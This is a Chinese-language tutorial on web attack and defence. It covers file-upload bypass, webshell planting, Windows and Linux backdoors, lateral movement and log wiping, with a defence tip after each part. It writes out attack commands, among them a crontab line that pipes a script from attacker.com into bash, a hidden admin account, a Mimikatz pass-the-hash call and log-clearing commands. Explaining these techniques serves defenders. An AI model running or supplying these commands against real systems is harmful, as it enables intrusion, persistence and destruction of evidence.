目录
一、文件上传绕过与Webshell植入
攻击原理与技术实现
文件上传漏洞的本质在于服务端未对用户上传内容进行充分验证。攻击者常通过以下手法绕过防御:
-
扩展名欺骗:
- 双重扩展名(如
shell.jpg.php
)利用部分黑名单过滤逻辑漏洞; - 空字节截断(
%00
)使服务端错误解析文件名(如test.php%00.jpg
被识别为PHP文件)。
- 双重扩展名(如
-
内容伪装:
- 修改HTTP请求的
Content-Type
为image/jpeg
,绕过MIME类型检测; - 图片马技术将恶意代码嵌入图片EXIF元数据,配合本地/远程文件包含漏洞触发执行。
- 修改HTTP请求的
实战案例:
攻击者通过上传.htaccess
文件并配置AddType application/x-httpd-php .jpg
,使所有JPG文件被解析为PHP脚本。通过Burp Suite拦截请求,修改文件名与内容,成功植入Webshell。
防御建议:
- 输入验证:采用白名单机制限制文件类型,而非依赖黑名单;
- 文件隔离:将上传目录设置为无执行权限,并通过CDN分发静态资源;
- 动态检测:使用沙箱分析文件行为,识别隐藏的恶意代码。
二、权限维持与后门隐藏技术
Windows系统后门
-
注册表自启动:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Update" /t REG_SZ /d "C:\malware.exe"
此类后门在系统启动时自动加载,常配合进程注入技术实现隐蔽性。
-
隐藏用户创建:
net user admin$ P@ssw0rd! /add /hidden
带
$
符号的用户在命令行中不可见,但可通过注册表SAM
项查询发现。
Linux系统后门
-
SSH密钥植入:
修改/etc/ssh/sshd_config
,添加AuthorizedKeysFile /dev/shm/.ssh/keys
指向攻击者公钥文件。 -
定时任务持久化:
echo "*/5 * * * * root curl http://attacker.com/shell.sh | bash" >> /etc/crontab
此类任务可实现定期反弹Shell或更新恶意负载。
防御建议:
- 日志监控:定期检查系统日志(如Windows事件日志、Linux的
auth.log
)中的异常进程启动记录; - 权限最小化:限制用户对注册表和系统目录的写入权限。
三、内网横向渗透核心技术
网络隧道搭建
-
HTTP代理隧道:
使用reGeorg
将流量封装在HTTP请求中,绕过防火墙检测:python reGeorgSocksProxy.py -p 8080 -u http://target/tunnel.php
该工具支持多级跳板,适合穿透隔离网络。
-
多协议级联:
EW工具支持SOCKS5与ICMP隧道混合代理,通过ssocksd
模块实现流量中转。
横向移动手法
-
Pass-the-Hash攻击:
利用Mimikatz提取内存中的NTLM哈希:mimikatz.exe "sekurlsa::pth /user:admin /domain:corp /ntlm:<hash>"
结合Impacket的
psexec.py
直接执行远程命令。 -
漏洞利用:
针对未修复的MS17-010(永恒之蓝),使用Metasploit模块exploit/windows/smb/ms17_010_eternalblue
获取系统权限。
防御建议:
- 网络分段:将核心业务与办公网络隔离,限制SMB、RDP等高危端口的暴露;
- 补丁管理:启用自动更新,重点修复CVSS评分≥7.0的漏洞。
四、痕迹清除与反溯源策略
日志清除技术
-
Windows系统:
wevtutil cl Security /q
清除安全事件日志,需管理员权限。
-
Linux系统:
shred -zu /var/log/auth.log
使用安全擦除工具覆盖日志文件。
反溯源手段
-
流量伪装:
通过TOR网络或I2P实现流量匿名化,配合多层代理(如Proxychains
)隐藏真实IP。 -
时间戳伪造:
touch -t 202404010900 /var/www/shell.php
修改文件时间与系统日志记录匹配,规避时间轴分析。
防御建议:
- 日志备份:将日志实时同步至独立存储服务器,防止本地篡改;
- 行为分析:部署UEBA系统检测异常登录时间和地理位置。
总结
Web应用安全攻防是持续对抗的过程。攻击者通过技术创新突破防线,而防御者需从漏洞管理、权限控制和行为监控三方面构建纵深防御体系。